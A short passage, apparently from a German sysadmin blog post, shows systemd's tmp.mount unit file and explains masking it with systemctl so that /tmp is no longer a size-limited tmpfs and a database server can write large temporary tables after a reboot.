#  systemd is free software; you can redistribute it and/or modify it
#  under the terms of the GNU Lesser General Public License as published by
#  the Free Software Foundation; either version 2.1 of the License, or
#  (at your option) any later version.

[Unit]
Description=Temporary Directory
Documentation=man:hier(7)
Documentation=http://www.freedesktop.org/wiki/Software/systemd/APIFileSystems
ConditionPathIsSymbolicLink=!/tmp
DefaultDependencies=no
Conflicts=umount.target
Before=local-fs.target umount.target

[Mount]
What=tmpfs
Where=/tmp
Type=tmpfs
Options=mode=1777,strictatime

Die kann man mit einem kurzen Befehl an den Systemd abschalten, allerdings erst ab dem nächsten Bootvorgang:

# systemctl mask tmp.mount
Created symlink from /etc/systemd/system/tmp.mount to /dev/null.
# ls -la /etc/systemd/system/tmp.mount
lrwxrwxrwx 1 root root 9 14. Nov 11:45 /etc/systemd/system/tmp.mount -> /dev/null

Danach muß man das also Rebooten. Am Ende ist /tmp/ dann wieder ein normaler Ordner auf der Festplatte, der keiner Größenbeschränkung unterliegt und in dem der Datenbankserver dann auch wieder fast beliebig große Temp-Tables erzeugen kann, ohne das gleich ein unschuldiger Prozess dran glauben muß.